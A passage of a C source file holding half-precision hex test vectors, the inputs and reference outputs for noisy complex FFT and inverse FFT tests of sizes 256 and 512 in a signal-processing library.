0x367b, 0xbb53, 0xbd4b, 0xb186, 0x3508, 0x3d4b, 0xb939, 0x33c5,
0xac75, 0xd593, 0x119e, 0xba21, 0xba92, 0x2d9d, 0xbc36, 0x37c1,
0xb0b5, 0xb8a8, 0xb547, 0x3cbf, 0x37fe, 0x30a1, 0x3cff, 0xbcef,
0xb4b3, 0xba36, 0x3071, 0x3a06, 0x3908, 0x3ab2, 0x25e7, 0x3b5e,
0xb2fb, 0xb6d8, 0x3b95, 0x2cf1, 0x36a5, 0xb4c3, 0x2f70, 0xbae7,
0x3db7, 0x3042, 0x22fb, 0x2fe4, 0xb22c, 0xb9f0, 0xb8c9, 0xb40e,
0x2d81, 0xb81f, 0x39b5, 0x39ea, 0xb021, 0xb9b9, 0xb844, 0x39d7,
0xbbeb, 0xbb56, 0x3c47, 0x3ada, 0xb7dc, 0xb594, 0xb5ad, 0x2fa7,
0x2c7e, 0x382f, 0x3924, 0xb891, 0x37da, 0xb8e9, 0x3126, 0xbba9,
0x349f, 0xb0f2, 0xaf2e, 0xb43b, 0x2f06, 0xb8c1, 0x36b3, 0xad5c,
0x2bbb, 0x3992, 0xb0fe, 0xb67b, 0x3a9b, 0xb9c3, 0xae0d, 0xb783,
0x2003, 0x2a0d, 0x26da, 0xa9e1, 0xad3c, 0xb017, 0x3899, 0x3400,
0xb51e, 0x3996, 0xb008, 0x32bb, 0xb156, 0xb8c0, 0x21e7, 0x3730,
0x38b4, 0xbb1e, 0xb8cc, 0xabde, 0x3487, 0x3574, 0x35bc, 0xabf0,
0xb6ae, 0xba9d, 0x392e, 0xb4ff, 0xb9e5, 0xb4ea, 0x39d1, 0xba54,
0xbd76, 0x3baf, 0x2f24, 0xba8d, 0xaa74, 0x3757, 0x3337, 0xb807,
0x3ca9, 0x3a24, 0x3221, 0x3a96, 0xba72, 0x3d45, 0x3275, 0x32b7,
0x2e24, 0x37cb, 0x3306, 0xbb5b, 0x3aea, 0xa7a4, 0x3b1f, 0xba33,
0xb0e8, 0x38f6, 0x2f17, 0xb49a, 0x3023, 0x3219, 0xbbc7, 0xb790,
0xb84c, 0xb25e, 0xb837, 0x3936, 0x3292, 0xb5eb, 0xad58, 0xb781,
0x347b, 0xb4fd, 0x9bd1, 0xb020, 0x301a, 0x34e0, 0x3824, 0x2ae7,
0x2c44, 0x3b1a, 0xb58b, 0xb2f9, 0x3786, 0xb7d1, 0xacf4, 0x2468,
0x3c5e, 0xaac2, 0xb0d2, 0x380a, 0xb8ff, 0x39ea, 0xb185, 0x3a3f,
0xb879, 0xb70b, 0xac55, 0x32da, 0x383e, 0xab1a, 0x3886, 0x3c03,
0x3a4a, 0xb79c, 0x34fa, 0xb87a, 0x2e8b, 0x366b, 0x3919, 0xbcec,
0x3df8, 0x0, 0x3919, 0x3cec, 0x2e8b, 0xb66b, 0x34fa, 0x387a,
0x3a4a, 0x379c, 0x3886, 0xbc03, 0x383e, 0x2b1a, 0xac55, 0xb2da,
0xb879, 0x370b, 0xb185, 0xba3f, 0xb8ff, 0xb9ea, 0xb0d2, 0xb80a,
0x3c5e, 0x2ac2, 0xacf4, 0xa468, 0x3786, 0x37d1, 0xb58b, 0x32f9,
0x2c44, 0xbb1a, 0x3824, 0xaae7, 0x301a, 0xb4e0, 0x9bd1, 0x3020,
0x347b, 0x34fd, 0xad58, 0x3781, 0x3292, 0x35eb, 0xb837, 0xb936,
0xb84c, 0x325e, 0xbbc7, 0x3790, 0x3023, 0xb219, 0x2f17, 0x349a,
0xb0e8, 0xb8f6, 0x3b1f, 0x3a33, 0x3aea, 0x27a4, 0x3306, 0x3b5b,
0x2e24, 0xb7cb, 0x3275, 0xb2b7, 0xba72, 0xbd45, 0x3221, 0xba96,
0x3ca9, 0xba24, 0x3337, 0x3807, 0xaa74, 0xb757, 0x2f24, 0x3a8d,
0xbd76, 0xbbaf, 0x39d1, 0x3a54, 0xb9e5, 0x34ea, 0x392e, 0x34ff,
0xb6ae, 0x3a9d, 0x35bc, 0x2bf0, 0x3487, 0xb574, 0xb8cc, 0x2bde,
0x38b4, 0x3b1e, 0x21e7, 0xb730, 0xb156, 0x38c0, 0xb008, 0xb2bb,
0xb51e, 0xb996, 0x3899, 0xb400, 0xad3c, 0x3017, 0x26da, 0x29e1,
0x2003, 0xaa0d, 0xae0d, 0x3783, 0x3a9b, 0x39c3, 0xb0fe, 0x367b,
0x2bbb, 0xb992, 0x36b3, 0x2d5c, 0x2f06, 0x38c1, 0xaf2e, 0x343b,
0x349f, 0x30f2, 0x3126, 0x3ba9, 0x37da, 0x38e9, 0x3924, 0x3891,
0x2c7e, 0xb82f, 0xb5ad, 0xafa7, 0xb7dc, 0x3594, 0x3c47, 0xbada,
0xbbeb, 0x3b56, 0xb844, 0xb9d7, 0xb021, 0x39b9, 0x39b5, 0xb9ea,
0x2d81, 0x381f, 0xb8c9, 0x340e, 0xb22c, 0x39f0, 0x22fb, 0xafe4,
0x3db7, 0xb042, 0x2f70, 0x3ae7, 0x36a5, 0x34c3, 0x3b95, 0xacf1,
0xb2fb, 0x36d8, 0x25e7, 0xbb5e, 0x3908, 0xbab2, 0x3071, 0xba06,
0xb4b3, 0x3a36, 0x3cff, 0x3cef, 0x37fe, 0xb0a1, 0xb547, 0xbcbf,
0xb0b5, 0x38a8, 0xbc36, 0xb7c1, 0xba92, 0xad9d, 0x119e, 0x3a21,
0xac75, 0x5593, 0xb939, 0xb3c5, 0x3508, 0xbd4b, 0xbd4b, 0x3186,
0x367b, 0x3b53, 0x39ae, 0xb0f4, 0xadf3, 0x31f3, 0xb76b, 0xb117,
0x3747, 0xb03e, 0x389f, 0xb901, 0xb919, 0xaefb, 0xb09a, 0xb5b8,
0xb8f5, 0x2841, 0xb8d3, 0xb08a, 0x2fb1, 0x3896, 0xb43c, 0xac9a,
0xb940, 0x3035, 0x38c5, 0x335f, 0xb972, 0x3907, 0x3761, 0xb642,
0xb04a, 0x359e, 0x30dc, 0xba47, 0xbb56, 0x3477, 0xb031, 0x36ea,
0xab2c, 0xba16, 0x3510, 0xb931, 0xb934, 0xb388, 0x3223, 0x396d,
0xb0d7, 0xb4e6, 0x345f, 0x29a1, 0xa9a6, 0xbc53, 0x32dc, 0xaf88
};
static const uint16_t ref_cfft_noisy_256[512] = {
0xba4a, 0x0, 0x32dc, 0x2f88, 0xa9a6, 0x3c53, 0x345f, 0xa9a1,
0xb0d7, 0x34e6, 0x3223, 0xb96d, 0xb934, 0x3388, 0x3510, 0x3931,
0xab2c, 0x3a16, 0xb031, 0xb6ea, 0xbb56, 0xb477, 0x30dc, 0x3a47,
0xb04a, 0xb59e, 0x3761, 0x3642, 0xb972, 0xb907, 0x38c5, 0xb35f,
0xb940, 0xb035, 0xb43c, 0x2c9a, 0x2fb1, 0xb896, 0xb8d3, 0x308a,
0xb8f5, 0xa841, 0xb09a, 0x35b8, 0xb919, 0x2efb, 0x389f, 0x3901,
0x3747, 0x303e, 0xb76b, 0x3117, 0xadf3, 0xb1f3, 0x39ae, 0x30f4,
0x367b, 0xbb53, 0xbd4b, 0xb186, 0x3508, 0x3d4b, 0xb939, 0x33c5,
0xac75, 0xd593, 0x119e, 0xba21, 0xba92, 0x2d9d, 0xbc36, 0x37c1,
0xb0b5, 0xb8a8, 0xb547, 0x3cbf, 0x37fe, 0x30a1, 0x3cff, 0xbcef,
0xb4b3, 0xba36, 0x3071, 0x3a06, 0x3908, 0x3ab2, 0x25e7, 0x3b5e,
0xb2fb, 0xb6d8, 0x3b95, 0x2cf1, 0x36a5, 0xb4c3, 0x2f70, 0xbae7,
0x3db7, 0x3042, 0x22fb, 0x2fe4, 0xb22c, 0xb9f0, 0xb8c9, 0xb40e,
0x2d81, 0xb81f, 0x39b5, 0x39ea, 0xb021, 0xb9b9, 0xb844, 0x39d7,
0xbbeb, 0xbb56, 0x3c47, 0x3ada, 0xb7dc, 0xb594, 0xb5ad, 0x2fa7,
0x2c7e, 0x382f, 0x3924, 0xb891, 0x37da, 0xb8e9, 0x3126, 0xbba9,
0x349f, 0xb0f2, 0xaf2e, 0xb43b, 0x2f06, 0xb8c1, 0x36b3, 0xad5c,
0x2bbb, 0x3992, 0xb0fe, 0xb67b, 0x3a9b, 0xb9c3, 0xae0d, 0xb783,
0x2003, 0x2a0d, 0x26da, 0xa9e1, 0xad3c, 0xb017, 0x3899, 0x3400,
0xb51e, 0x3996, 0xb008, 0x32bb, 0xb156, 0xb8c0, 0x21e7, 0x3730,
0x38b4, 0xbb1e, 0xb8cc, 0xabde, 0x3487, 0x3574, 0x35bc, 0xabf0,
0xb6ae, 0xba9d, 0x392e, 0xb4ff, 0xb9e5, 0xb4ea, 0x39d1, 0xba54,
0xbd76, 0x3baf, 0x2f24, 0xba8d, 0xaa74, 0x3757, 0x3337, 0xb807,
0x3ca9, 0x3a24, 0x3221, 0x3a96, 0xba72, 0x3d45, 0x3275, 0x32b7,
0x2e24, 0x37cb, 0x3306, 0xbb5b, 0x3aea, 0xa7a4, 0x3b1f, 0xba33,
0xb0e8, 0x38f6, 0x2f17, 0xb49a, 0x3023, 0x3219, 0xbbc7, 0xb790,
0xb84c, 0xb25e, 0xb837, 0x3936, 0x3292, 0xb5eb, 0xad58, 0xb781,
0x347b, 0xb4fd, 0x9bd1, 0xb020, 0x301a, 0x34e0, 0x3824, 0x2ae7,
0x2c44, 0x3b1a, 0xb58b, 0xb2f9, 0x3786, 0xb7d1, 0xacf4, 0x2468,
0x3c5e, 0xaac2, 0xb0d2, 0x380a, 0xb8ff, 0x39ea, 0xb185, 0x3a3f,
0xb879, 0xb70b, 0xac55, 0x32da, 0x383e, 0xab1a, 0x3886, 0x3c03,
0x3a4a, 0xb79c, 0x34fa, 0xb87a, 0x2e8b, 0x366b, 0x3919, 0xbcec,
0x3df8, 0x0, 0x3919, 0x3cec, 0x2e8b, 0xb66b, 0x34fa, 0x387a,
0x3a4a, 0x379c, 0x3886, 0xbc03, 0x383e, 0x2b1a, 0xac55, 0xb2da,
0xb879, 0x370b, 0xb185, 0xba3f, 0xb8ff, 0xb9ea, 0xb0d2, 0xb80a,
0x3c5e, 0x2ac2, 0xacf4, 0xa468, 0x3786, 0x37d1, 0xb58b, 0x32f9,
0x2c44, 0xbb1a, 0x3824, 0xaae7, 0x301a, 0xb4e0, 0x9bd1, 0x3020,
0x347b, 0x34fd, 0xad58, 0x3781, 0x3292, 0x35eb, 0xb837, 0xb936,
0xb84c, 0x325e, 0xbbc7, 0x3790, 0x3023, 0xb219, 0x2f17, 0x349a,
0xb0e8, 0xb8f6, 0x3b1f, 0x3a33, 0x3aea, 0x27a4, 0x3306, 0x3b5b,
0x2e24, 0xb7cb, 0x3275, 0xb2b7, 0xba72, 0xbd45, 0x3221, 0xba96,
0x3ca9, 0xba24, 0x3337, 0x3807, 0xaa74, 0xb757, 0x2f24, 0x3a8d,
0xbd76, 0xbbaf, 0x39d1, 0x3a54, 0xb9e5, 0x34ea, 0x392e, 0x34ff,
0xb6ae, 0x3a9d, 0x35bc, 0x2bf0, 0x3487, 0xb574, 0xb8cc, 0x2bde,
0x38b4, 0x3b1e, 0x21e7, 0xb730, 0xb156, 0x38c0, 0xb008, 0xb2bb,
0xb51e, 0xb996, 0x3899, 0xb400, 0xad3c, 0x3017, 0x26da, 0x29e1,
0x2003, 0xaa0d, 0xae0d, 0x3783, 0x3a9b, 0x39c3, 0xb0fe, 0x367b,
0x2bbb, 0xb992, 0x36b3, 0x2d5c, 0x2f06, 0x38c1, 0xaf2e, 0x343b,
0x349f, 0x30f2, 0x3126, 0x3ba9, 0x37da, 0x38e9, 0x3924, 0x3891,
0x2c7e, 0xb82f, 0xb5ad, 0xafa7, 0xb7dc, 0x3594, 0x3c47, 0xbada,
0xbbeb, 0x3b56, 0xb844, 0xb9d7, 0xb021, 0x39b9, 0x39b5, 0xb9ea,
0x2d81, 0x381f, 0xb8c9, 0x340e, 0xb22c, 0x39f0, 0x22fb, 0xafe4,
0x3db7, 0xb042, 0x2f70, 0x3ae7, 0x36a5, 0x34c3, 0x3b95, 0xacf1,
0xb2fb, 0x36d8, 0x25e7, 0xbb5e, 0x3908, 0xbab2, 0x3071, 0xba06,
0xb4b3, 0x3a36, 0x3cff, 0x3cef, 0x37fe, 0xb0a1, 0xb547, 0xbcbf,
0xb0b5, 0x38a8, 0xbc36, 0xb7c1, 0xba92, 0xad9d, 0x119e, 0x3a21,
0xac75, 0x5593, 0xb939, 0xb3c5, 0x3508, 0xbd4b, 0xbd4b, 0x3186,
0x367b, 0x3b53, 0x39ae, 0xb0f4, 0xadf3, 0x31f3, 0xb76b, 0xb117,
0x3747, 0xb03e, 0x389f, 0xb901, 0xb919, 0xaefb, 0xb09a, 0xb5b8,
0xb8f5, 0x2841, 0xb8d3, 0xb08a, 0x2fb1, 0x3896, 0xb43c, 0xac9a,
0xb940, 0x3035, 0x38c5, 0x335f, 0xb972, 0x3907, 0x3761, 0xb642,
0xb04a, 0x359e, 0x30dc, 0xba47, 0xbb56, 0x3477, 0xb031, 0x36ea,
0xab2c, 0xba16, 0x3510, 0xb931, 0xb934, 0xb388, 0x3223, 0x396d,
0xb0d7, 0xb4e6, 0x345f, 0x29a1, 0xa9a6, 0xbc53, 0x32dc, 0xaf88
};
static const uint16_t in_cfft_noisy_512[1024] = {
0xa984, 0x0, 0x37c5, 0x0, 0x39be, 0x0, 0x377b, 0x0,
0xa8b2, 0x0, 0xb8cb, 0x0, 0xb9b9, 0x0, 0xb832, 0x0,
0x21e4, 0x0, 0x37ce, 0x0, 0x399c, 0x0, 0x3811, 0x0,
0x1d1f, 0x0, 0xb78b, 0x0, 0xb901, 0x0, 0xb8b1, 0x0,
0x2cc0, 0x0, 0x3693, 0x0, 0x39c9, 0x0, 0x388f, 0x0,
0xa70d, 0x0, 0xb69d, 0x0, 0xb916, 0x0, 0xb8a1, 0x0,
0xa119, 0x0, 0x3834, 0x0, 0x393d, 0x0, 0x38b9, 0x0,
0x2883, 0x0, 0xb7ba, 0x0, 0xb994, 0x0, 0xb83b, 0x0,
0x1e74, 0x0, 0x36d7, 0x0, 0x393a, 0x0, 0x3887, 0x0,
0xa960, 0x0, 0xb7d6, 0x0, 0xb8c1, 0x0, 0xb8b1, 0x0,
0xaa36, 0x0, 0x37b9, 0x0, 0x3919, 0x0, 0x3894, 0x0,
0x2b7a, 0x0, 0xb81b, 0x0, 0xba71, 0x0, 0xb792, 0x0,
0x2a10, 0x0, 0x3879, 0x0, 0x39ce, 0x0, 0x3621, 0x0,
0x1c92, 0x0, 0xb837, 0x0, 0xb906, 0x0, 0xb71e, 0x0,
0xa9f4, 0x0, 0x3854, 0x0, 0x394f, 0x0, 0x36fb, 0x0,
0x2c8b, 0x0, 0xb785, 0x0, 0xb9cc, 0x0, 0xb78a, 0x0,
0xa6c2, 0x0, 0x3838, 0x0, 0x3963, 0x0, 0x3610, 0x0,
0xabd4, 0x0, 0xb84c, 0x0, 0xba05, 0x0, 0xb735, 0x0,
0x24aa, 0x0, 0x3847, 0x0, 0x3987, 0x0, 0x37bb, 0x0,
0x2ad6, 0x0, 0xb6e1, 0x0, 0xb930, 0x0, 0xb826, 0x0,
0xa3e0, 0x0, 0x382f, 0x0, 0x39a1, 0x0, 0x3914, 0x0,
0x2ec6, 0x0, 0xb760, 0x0, 0xb96a, 0x0, 0xb8b9, 0x0,
0xa4c7, 0x0, 0x384e, 0x0, 0x396a, 0x0, 0x382e, 0x0,
0xab1b, 0x0, 0xb71d, 0x0, 0xb987, 0x0, 0xb8bc, 0x0,
0x2e6e, 0x0, 0x3777, 0x0, 0x398d, 0x0, 0x3761, 0x0,
0x2559, 0x0, 0xb5ed, 0x0, 0xb9fa, 0x0, 0xb802, 0x0,
0xa76b, 0x0, 0x3806, 0x0, 0x39c2, 0x0, 0x36e9, 0x0,
0x9b9e, 0x0, 0xb7ef, 0x0, 0xb938, 0x0, 0xb824, 0x0,
0x216e, 0x0, 0x381f, 0x0, 0x39a8, 0x0, 0x36bb, 0x0,
0xa91e, 0x0, 0xb817, 0x0, 0xb8ed, 0x0, 0xb792, 0x0,
0x2a26, 0x0, 0x37e6, 0x0, 0x39c4, 0x0, 0x36ef, 0x0,
0x2955, 0x0, 0xb79b, 0x0, 0xb9a9, 0x0, 0xb909, 0x0,
0xa9db, 0x0, 0x37a3, 0x0, 0x3962, 0x0, 0x37ed, 0x0,
0x2a3d, 0x0, 0xb765, 0x0, 0xb930, 0x0, 0xb86e, 0x0,
0x26f4, 0x0, 0x3841, 0x0, 0x399f, 0x0, 0x3783, 0x0,
0x280d, 0x0, 0xb819, 0x0, 0xb91a, 0x0, 0xb77c, 0x0,
0xb064, 0x0, 0x37cc, 0x0, 0x390b, 0x0, 0x3875, 0x0,
0x2591, 0x0, 0xb699, 0x0, 0xb9a1, 0x0, 0xb6f5, 0x0,
0xa51c, 0x0, 0x370c, 0x0, 0x39bf, 0x0, 0x37ed, 0x0,
0xa905, 0x0, 0xb81f, 0x0, 0xb911, 0x0, 0xb843, 0x0,
0xaaea, 0x0, 0x3838, 0x0, 0x3985, 0x0, 0x3643, 0x0,
0x2f08, 0x0, 0xb813, 0x0, 0xb8af, 0x0, 0xb73f, 0x0,
0x29a3, 0x0, 0x3815, 0x0, 0x3a1b, 0x0, 0x37c1, 0x0,
0xa837, 0x0, 0xb82c, 0x0, 0xb9a6, 0x0, 0xb842, 0x0,
0xae43, 0x0, 0x3707, 0x0, 0x394d, 0x0, 0x38b9, 0x0,
0x2f49, 0x0, 0xb6e0, 0x0, 0xba23, 0x0, 0xb738, 0x0,
0xa40f, 0x0, 0x3830, 0x0, 0x39ae, 0x0, 0x377e, 0x0,
0xa7d2, 0x0, 0xb751, 0x0, 0xb98e, 0x0, 0xb855, 0x0,
0x2846, 0x0, 0x37ce, 0x0, 0x398d, 0x0, 0x3860, 0x0,
0x2fe0, 0x0, 0xb821, 0x0, 0xb9a0, 0x0, 0xb739, 0x0,
0x9cc5, 0x0, 0x38a0, 0x0, 0x3a37, 0x0, 0x3889, 0x0,
0xa458, 0x0, 0xb6de, 0x0, 0xb976, 0x0, 0xb83c, 0x0,
0x29ef, 0x0, 0x3756, 0x0, 0x395b, 0x0, 0x36fd, 0x0,
0x9de2, 0x0, 0xb754, 0x0, 0xb995, 0x0, 0xb864, 0x0,
0xa950, 0x0, 0x37c3, 0x0, 0x3969, 0x0, 0x38e5, 0x0,
0xae67, 0x0, 0xb80c, 0x0, 0xb926, 0x0, 0xb5b4, 0x0,
0xa14c, 0x0, 0x3777, 0x0, 0x3904, 0x0, 0x3811, 0x0,
0x2aa4, 0x0, 0xb757, 0x0, 0xb93e, 0x0, 0xb81c, 0x0,
0x29e1, 0x0, 0x371b, 0x0, 0x39c2, 0x0, 0x38ac, 0x0,
0x2716, 0x0, 0xb8b1, 0x0, 0xb9ab, 0x0, 0xb70b, 0x0,
0x2526, 0x0, 0x3801, 0x0, 0x3997, 0x0, 0x384f, 0x0,
0xa696, 0x0, 0xb8b9, 0x0, 0xba01, 0x0, 0xb868, 0x0,
0x25d4, 0x0, 0x3803, 0x0, 0x390f, 0x0, 0x3858, 0x0,
0x28fa, 0x0, 0xb877, 0x0, 0xb9f2, 0x0, 0xb8b0, 0x0,
0x22f7, 0x0, 0x386b, 0x0, 0x396a, 0x0, 0x37ef, 0x0,
0x251d, 0x0, 0xb7c0, 0x0, 0xba67, 0x0, 0xb84a, 0x0,
0xa512, 0x0, 0x380e, 0x0, 0x39c9, 0x0, 0x37da, 0x0,
0xaac3, 0x0, 0xb864, 0x0, 0xb9c2, 0x0, 0xb6b0, 0x0,
0x2523, 0x0, 0x3814, 0x0, 0x3949, 0x0, 0x36a0, 0x0,
0x2bed, 0x0, 0xb86d, 0x0, 0xb97c, 0x0, 0xb899, 0x0,
0x2186, 0x0, 0x3740, 0x0, 0x39d0, 0x0, 0x3816, 0x0,
0x21c1, 0x0, 0xb7ba, 0x0, 0xb9c8, 0x0, 0xb817, 0x0,
0x2526, 0x0, 0x3809, 0x0, 0x38bc, 0x0, 0x3769, 0x0,
0x13b5, 0x0, 0xb86d, 0x0, 0xb96b, 0x0, 0xb711, 0x0,
0x2c6a, 0x0, 0x378b, 0x0, 0x3a45, 0x0, 0x3796, 0x0,
0x22ad, 0x0, 0xb801, 0x0, 0xba27, 0x0, 0xb815, 0x0,
0x2aa8, 0x0, 0x379d, 0x0, 0x39fa, 0x0, 0x3811, 0x0,
0x2c78, 0x0, 0xb7ce, 0x0, 0xba96, 0x0, 0xb87f, 0x0,
0x2c66, 0x0, 0x382f, 0x0, 0x39b2, 0x0, 0x370d, 0x0,
0x23c5, 0x0, 0xb774, 0x0, 0xb9ca, 0x0, 0xb74a, 0x0,
0x27d1, 0x0, 0x3803, 0x0, 0x390a, 0x0, 0x3750, 0x0,
0xa29d, 0x0, 0xb86b, 0x0, 0xba4f, 0x0, 0xb825, 0x0,
0x230f, 0x0, 0x385e, 0x0, 0x3938, 0x0, 0x3826, 0x0,
0xa960, 0x0, 0xb7e9, 0x0, 0xb9b6, 0x0, 0xb825, 0x0,
0xa874, 0x0, 0x387f, 0x0, 0x393d, 0x0, 0x36d0, 0x0,
0xa8e8, 0x0, 0xb842, 0x0, 0xb99a, 0x0, 0xb6ed, 0x0,
0x986c, 0x0, 0x383f, 0x0, 0x3950, 0x0, 0x38e2, 0x0,
0xae9d, 0x0, 0xb63b, 0x0, 0xb952, 0x0, 0xb76f, 0x0,
0x3067, 0x0, 0x37b3, 0x0, 0x3938, 0x0, 0x375f, 0x0,
0x22a2, 0x0, 0xb827, 0x0, 0xb9e8, 0x0, 0xb765, 0x0,
0xa2e1, 0x0, 0x3800, 0x0, 0x3975, 0x0, 0x376a, 0x0,
0x1c74, 0x0, 0xb76a, 0x0, 0xb914, 0x0, 0xb798, 0x0,
0xb05b, 0x0, 0x3825, 0x0, 0x39f3, 0x0, 0x36ef, 0x0,
0x2ee3, 0x0, 0xb6f8, 0x0, 0xba40, 0x0, 0xb7cd, 0x0,
0x3127, 0x0, 0x37d1, 0x0, 0x39b4, 0x0, 0x3702, 0x0,
0x2266, 0x0, 0xb822, 0x0, 0xb94b, 0x0, 0xb6e2, 0x0,
0x2fc9, 0x0, 0x3825, 0x0, 0x397d, 0x0, 0x3887, 0x0,
0xa640, 0x0, 0xb7ec, 0x0, 0xb981, 0x0, 0xb803, 0x0,
0x9735, 0x0, 0x37eb, 0x0, 0x38db, 0x0, 0x3843, 0x0,
0xb063, 0x0, 0xb828, 0x0, 0xba4e, 0x0, 0xb778, 0x0,
0xa85d, 0x0, 0x36f0, 0x0, 0x38f1, 0x0, 0x37b6, 0x0,
0x294e, 0x0, 0xb850, 0x0, 0xb95f, 0x0, 0xb7d8, 0x0,
0xac86, 0x0, 0x37b6, 0x0, 0x3a00, 0x0, 0x374d, 0x0,
0xae0c, 0x0, 0xb792, 0x0, 0xb995, 0x0, 0xb71c, 0x0,
0xa578, 0x0, 0x384b, 0x0, 0x3a34, 0x0, 0x37cc, 0x0,
0xa969, 0x0, 0xb899, 0x0, 0xb972, 0x0, 0xb840, 0x0,
0xace9, 0x0, 0x382d, 0x0, 0x39d7, 0x0, 0x37cd, 0x0,
0x28c1, 0x0, 0xb6ad, 0x0, 0xb982, 0x0, 0xb817, 0x0,
0x232d, 0x0, 0x36dc, 0x0, 0x3948, 0x0, 0x3720, 0x0,
0x2d9e, 0x0, 0xb855, 0x0, 0xb92c, 0x0, 0xb754, 0x0,
0x1c25, 0x0, 0x37b0, 0x0, 0x39e6, 0x0, 0x36e4, 0x0,
0x2aaf, 0x0, 0xb78e, 0x0, 0xb996, 0x0, 0xb808, 0x0,
0xa6c2, 0x0, 0x37cb, 0x0, 0x39a1, 0x0, 0x37d3, 0x0,
0x2efc, 0x0, 0xb873, 0x0, 0xba1a, 0x0, 0xb6a4, 0x0,
0x2413, 0x0, 0x368d, 0x0, 0x3a2d, 0x0, 0x37e0, 0x0,
0xa1c4, 0x0, 0xb7ef, 0x0, 0xb9ca, 0x0, 0xb84b, 0x0,
0xa952, 0x0, 0x3886, 0x0, 0x3a64, 0x0, 0x3800, 0x0,
0xac73, 0x0, 0xb81a, 0x0, 0xb992, 0x0, 0xb7f1, 0x0,
0xae6a, 0x0, 0x3839, 0x0, 0x38fd, 0x0, 0x3747, 0x0,
0x277e, 0x0, 0xb7ac, 0x0, 0xb8da, 0x0, 0xb84f, 0x0,
0xa9a0, 0x0, 0x36d8, 0x0, 0x39fe, 0x0, 0x3830, 0x0,
0xad6a, 0x0, 0xb88b, 0x0, 0xb940, 0x0, 0xb730, 0x0,
0x2a6c, 0x0, 0x38c8, 0x0, 0x39de, 0x0, 0x3768, 0x0,
0xabdd, 0x0, 0xb7c1, 0x0, 0xb97f, 0x0, 0xb7aa, 0x0,
0xa8a4, 0x0, 0x37c7, 0x0, 0x39f3, 0x0, 0x3873, 0x0,
0x21ee, 0x0, 0xb801, 0x0, 0xba20, 0x0, 0xb80b, 0x0,
0xa3cf, 0x0, 0x3779, 0x0, 0x39cc, 0x0, 0x375c, 0x0,
0xaa7e, 0x0, 0xb87b, 0x0, 0xb9bb, 0x0, 0xb712, 0x0
};
static const uint16_t in_cifft_noisy_512[1024] = {
0xae39, 0x0, 0xb066, 0xbb44, 0xb9d6, 0x3658, 0x380c, 0xba86,
0xbb77, 0x3a46, 0xaa91, 0x356e, 0xb6f4, 0xbc36, 0x3ce7, 0xb8b9,
0xb856, 0x38fe, 0xbd12, 0xabd5, 0xbb0f, 0x3743, 0xb51d, 0xb4b4,
0xadf3, 0x3085, 0xae10, 0x3a97, 0xc057, 0xbda3, 0xb114, 0xb701,
0xb2eb, 0xb013, 0xbdcd, 0x3ec5, 0x356a, 0xa8ec, 0x380f, 0xb962,
0x3916, 0x2c2a, 0x3068, 0xb7c5, 0xae71, 0x32bf, 0xb8d9, 0xb253,
0xb55b, 0x3482, 0x3bcc, 0x3b41, 0x3765, 0xa5bb, 0xba32, 0x1aef,
0x38f5, 0xbd2d, 0xbb67, 0x3617, 0xb428, 0x3d64, 0x3bab, 0xbd07,
0xb8bb, 0x3701, 0xb5eb, 0x3b17, 0x3ded, 0x3223, 0xb9ad, 0xb9c2,
0xb321, 0x2c2b, 0x3c6c, 0xb006, 0x330a, 0x322c, 0xbce1, 0x3737,
0x32af, 0xb9a3, 0xacdd, 0x2d8c, 0x3f46, 0xb874, 0x3fbc, 0xb6bd,
0xb25f, 0xb7f2, 0x3c85, 0x3dd3, 0xbc35, 0x3832, 0x35e3, 0xb888,
0x3cc1, 0x3d4d, 0x3747, 0x38f2, 0xb851, 0x3d8b, 0xada2, 0x14ea,
0xbb34, 0xbc93, 0xbc01, 0x3840, 0xb0bf, 0x28e4, 0x4002, 0x373c,
0x3736, 0xbdef, 0x31ae, 0x2de6, 0xb0d3, 0xbdea, 0xb22e, 0xbbe4,
0x34be, 0xb8fb, 0xb54d, 0x3173, 0x3286, 0xb855, 0xba41, 0xbd12,
0xb348, 0xd999, 0x269a, 0x3f51, 0x2774, 0xc061, 0x373a, 0x3680,
0x36e8, 0x39a3, 0x3805, 0x3042, 0x2c76, 0x36f0, 0xb878, 0x3ed4,
0x38bd, 0xb92c, 0x3bf3, 0x3cc5, 0x3c80, 0xbdfb, 0xb02c, 0xbe38,
0x39c3, 0xb8b3, 0x327d, 0x38f9, 0xba73, 0x380e, 0x284b, 0xb84b,
0x362b, 0xaf22, 0xb243, 0xab63, 0xb5cb, 0xb5fb, 0x3bde, 0xb8a3,
0xb985, 0xb864, 0x3e33, 0x380d, 0x3b95, 0xba21, 0x4083, 0xc006,
0xbe08, 0x347b, 0xbaf2, 0x3539, 0xb82a, 0x3a79, 0x3916, 0x40ad,
0x3216, 0x3d13, 0xbd63, 0x3ead, 0x3d07, 0x3424, 0xbb4d, 0xba70,
0xb584, 0x3d96, 0xbc39, 0xbf63, 0xb0b4, 0xbb0f, 0xb883, 0xb8aa,
0xa9f5, 0xb436, 0xb899, 0x3719, 0xb533, 0x367b, 0x3495, 0x3b38,
0xbb28, 0xb78b, 0x38ed, 0x35b0, 0x3658, 0xb15c, 0xbda0, 0x3775,
0x3e2d, 0xbdb9, 0xaf48, 0xa4c5, 0xb880, 0x3928, 0xad64, 0x3c1b,
0xa710, 0xb406, 0xbab6, 0x2c69, 0xb856, 0x2dd7, 0x3904, 0x3ab0,
0xb028, 0x31b4, 0x3450, 0x21e8, 0x3b3d, 0xbd1e, 0xb732, 0x38b5,
0x3e99, 0xbb90, 0xb7f5, 0x3d1d, 0x3878, 0x3834, 0xb5ba, 0xb34f,
0xb9fb, 0x3949, 0xbd1c, 0x387f, 0x3d26, 0x4159, 0xb9e5, 0xb9d2,
0x3768, 0xb7bd, 0xc0b7, 0x9a78, 0xbb95, 0xb4ef, 0x34f0, 0xb1db,
0xb2b1, 0x353d, 0x2ce3, 0xabae, 0xba8c, 0xb8e9, 0x3a07, 0xb820,
0x3e95, 0x33dd, 0xb190, 0x3d98, 0xbde1, 0x38fe, 0xb518, 0x2f5e,
0xae61, 0xba24, 0xb5b2, 0x3745, 0x3040, 0x39a3, 0x38c6, 0xb0ef,
0x3b28, 0x2c2b, 0xbc46, 0x38de, 0x3210, 0xad3b, 0x3993, 0x3c52,
0xb72a, 0x3ac1, 0xbbcc, 0x3930, 0xb80f, 0xbf70, 0xb39e, 0xb56f,
0x3445, 0xb1fc, 0xb800, 0xbed8, 0x3c64, 0xb6ab, 0x376c, 0x291c,
0xbd69, 0x3dba, 0xbc54, 0xb8f9, 0xbafd, 0x3a9c, 0x37f0, 0x3ccf,
0x36ca, 0xbd8c, 0x3c80, 0x3e2a, 0x39a0, 0x3d0b, 0x3203, 0xade6,
